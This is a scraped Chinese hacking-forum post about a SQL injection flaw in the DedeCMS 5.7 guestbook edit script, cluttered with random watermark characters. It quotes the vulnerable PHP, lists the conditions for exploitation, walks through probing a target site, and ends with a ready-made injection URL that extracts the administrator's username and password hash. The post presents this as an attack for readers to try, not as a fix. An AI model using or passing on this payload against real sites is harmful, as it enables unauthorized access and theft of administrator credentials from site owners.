找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3754|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
& R8 @9 G, ^9 L& `0 z; ]* U4 _' I% _+ i( m2 p# V* P0 G2 [. ]
漏洞文件edit.inc.php具体代码:
$ I3 p7 n) J  T8 O, P5 n4 v1 U7 J( M, m% o
< ?php  3 X; ^+ j; s- A( a$ O+ |
3 O8 B$ n* f" j% u; d: E" y
if(!defined('DEDEINC')) exit('Request Error!');  
0 p/ k0 f  ]* C* G- l. h  y
7 S: g( ^+ {2 I3 i   4 x4 L8 G$ [- [5 P
/ ?8 z* Q2 e: @: t# ^0 G' ?7 f9 u: R
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ' G  p# j3 A( S! z

' A, h! D( _2 Kelse $GUEST_BOOK_POS = "guestbook.php";  1 G" d9 `) m, T  R: A: A
/ d) ?% K- ?( \2 [  Z+ v
   
& f: @+ `: K% u+ y5 L, Q, [( E5 Q( `  E
$id = intval($id);  
0 A0 z. l; ^2 N' @/ P7 l# I6 a2 _: i4 A
if(empty($job)) $job='view';  
+ A. |4 N* l0 _5 F* v; Q2 ?6 u& b# ]& k" x& d% p% C
   
0 e2 y  a5 }8 ^5 k* G8 ~8 b- r5 M/ {2 r7 C, O) X
if($job=='del' && $g_isadmin)  
; }4 i+ D# S5 a( |: \- w/ O! }; t; K1 l7 L8 |
{  
! d6 U6 y! \8 D. M. `( K" o3 G0 C
& \0 e$ z# V1 J2 g! j' h0 v$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ! b5 h. x9 O  U$ C4 a

1 {& t: [0 b* G+ s- |0 A  N7 P7 kShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
  S, b% M# j# D' @- C  {4 Z  g# J# B5 }3 L& C: D
exit();  " K/ D1 g0 P; u" f' s

( L- b! E; X. L2 a9 C( m1 P& L8 B}  # y' ?5 Q6 D# A9 z* C
1 z% _9 o5 J+ l' p6 M3 _
else if($job=='check' && $g_isadmin)  
1 U! D( E+ z0 P; T  G
( M/ ?) c4 J( y$ Z+ x6 q{  9 c% [8 P- d3 E

9 f4 ~% F/ \1 {  C6 f1 n$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ; m- q* O; z6 M& H. G* P) }  K) U

: C- C! }' Q) g' w+ PShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
& j5 n1 L4 I6 [: d# a; x" H4 D6 T
; c- a4 S3 m3 P* d* Qexit();  
+ x8 o6 A4 q( Q2 G( x' ^# ^
. t7 H7 |9 ?8 H- I/ @}  
5 B6 K$ D% u( H" t; x) K) q- @2 j3 e9 B0 B' _
else if($job=='editok')  
. A) t; W' s% y3 ^* P0 a9 p
% Q) U2 h' P5 ]% d' ?' c{  
7 B8 k) Q' i' V. E  I
; t; E. _' r1 }* a" F$remsg = trim($remsg);  
1 }9 Z3 s' K" C- y6 ~: P1 r% \  F  ~! R' `8 w
if($remsg!='')  / o9 r( h: A3 ~2 U6 P! E& _
$ L3 g( c1 w4 m  u
{  1 m$ {& Z, p0 Y+ i0 H+ q; i
2 }! ^' Z/ o- M8 j1 i; s  s
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% K7 x! ~8 j% Z  \) m6 f" A+ p+ k
0 \' S! I: x5 U, j& E0 Kif($g_isadmin)  
+ j: Q, L: L  t: `& e3 }: _* ]; G, a) M1 U: I5 I% q% q, O
{  
! D4 q# C4 r8 i, d4 h( E8 M# ~4 q. ^2 g, \$ {6 R# U
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& P; O9 }& S0 K7 i1 \4 s2 f9 {* C4 \! }4 e; ?' `/ \8 I: b! s
//$remsg <br /><font color=red>管理员回复:</font> }  / O( Q9 a# v" M) K
, r* N/ O' c, ^, z5 Y" F0 {% D0 R
else
" r; X0 P9 H$ t% r! M
* p' p8 u2 ]5 I! [3 [* t+ b{  " y/ d- c  a& C, a$ r

0 q) h2 i- b- S' N$ @) a6 a( q% ]$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  8 e8 A$ n0 ?& P. g) `: L! @6 G. U

8 S5 ]9 F0 [1 j$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  9 o( q# G" t. G' i* b
4 l6 m, P+ a7 `- v* Z
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
. t; p9 @: |! J2 m! w+ Y$ ~5 Y
8 z& A- H* h& C& C2 ~" |8 k$msg = $oldmsg.$remsg;  # h( O; _3 U2 C- ]8 x

3 s( S5 I% _( |+ ~}  ' M& s% J' ?0 o6 L$ W

9 h& A6 I+ ~- e! p: d}  - g& M; c, V/ y' v  N5 v
0 l9 I  u* o' x& m* v' G
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  * g% i" |3 l: S6 t( ]* S1 {

6 u4 e) J% W- N7 {' H% Q6 L3 t, B* l$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
' ^3 N( j" A. w3 g& ^+ x, \7 _8 V' p/ [1 K4 W1 J3 B* `
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  7 f& V. G; a; e/ O
- S' }2 @$ R4 m. Y& M* U% P
exit();  3 h8 m# _1 w2 F
0 a- J3 j9 S! A/ W
}  
7 v1 r. t4 F+ {1 t$ b5 Q& I& F2 K7 I/ b
//home:www.errs.cc  
7 C8 X& E1 r5 W" b% G/ M4 T3 m8 p( s
if($g_isadmin)  0 @  h1 O1 A4 e, u; X/ e

( ^8 y/ ?2 f( d- x8 J; ~{  
! \  x7 g, e' i' E5 o
1 U8 H6 n% f( E/ u6 x( T$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  6 C2 Q& i: c" U; c4 O$ a& u
6 E  m% e% @' X& M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  , l9 m" e! K+ Q7 m/ p2 O8 q

. i3 }) \$ i* f. s4 u! `}  ' p! @, O' ?8 Z+ f% s% j& ^

5 \. I/ g: O# j3 P+ R% J! Oelse
6 H- Y/ D7 y7 B6 L% I2 i" p1 J) G- X, T
{  , Z1 K  y( D/ W- f9 d3 b
/ A# Y9 {0 @% `9 u3 z# b
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ' r9 J. N: P3 \- F% }$ J

: m8 h% h( W; g) ]3 erequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
4 ]( w/ y2 ]* w/ n. c
, Y) q3 Z3 ~) s+ @2 n  e} 漏洞成功需要条件:! \5 M6 q, d* S% ^, u
1. php magic_quotes_gpc=off
% u3 ^1 C8 P0 q) G+ ^& b2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 ~( s. n5 I# f' v9 [# G5 \  B
* u$ S1 s" Q9 v8 Q/ \
怎么判断是否存在漏洞:
, c0 L7 D- a' u- ?3 \9 O5 ~先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' b! C2 q9 x! t' I7 B+ m然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
& d3 w! g1 @6 }( Z1 V访问:8 Z; s9 m9 [" x* b0 q
; s9 s& ^$ x7 ~4 ]9 `1 r
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% M% b, [4 @8 R, S跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; K3 H6 u4 l  p1 A
, V5 e$ R$ O8 J0 u/ D: {

  `4 ~! _0 U8 y# ?/ s* A; `# U9 X明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
+ n8 x# t) P% y( a$ Q$ j& y- [# k8 h如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
9 E  @  a! B2 Z: r# X/ q- Q5 H那么再次访问
9 k% J" `  J' z# ]4 W( Q/ L/ N  z9 ~& j) C# d6 _
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 O) S  K8 c% _  K" b9 w% r

: _6 h- L3 d+ U* z) @0 w% u大概利用就是这样,大家有兴趣的多研究下!!
/ a5 |9 M( O  W& l! x5 K, T+ t" p% J! O2 }, k* V2 ]
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 c4 d9 V9 k/ P& s7 {2 w. B

. p. P0 \9 s$ F+ i6 i# n. m- d6 Mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表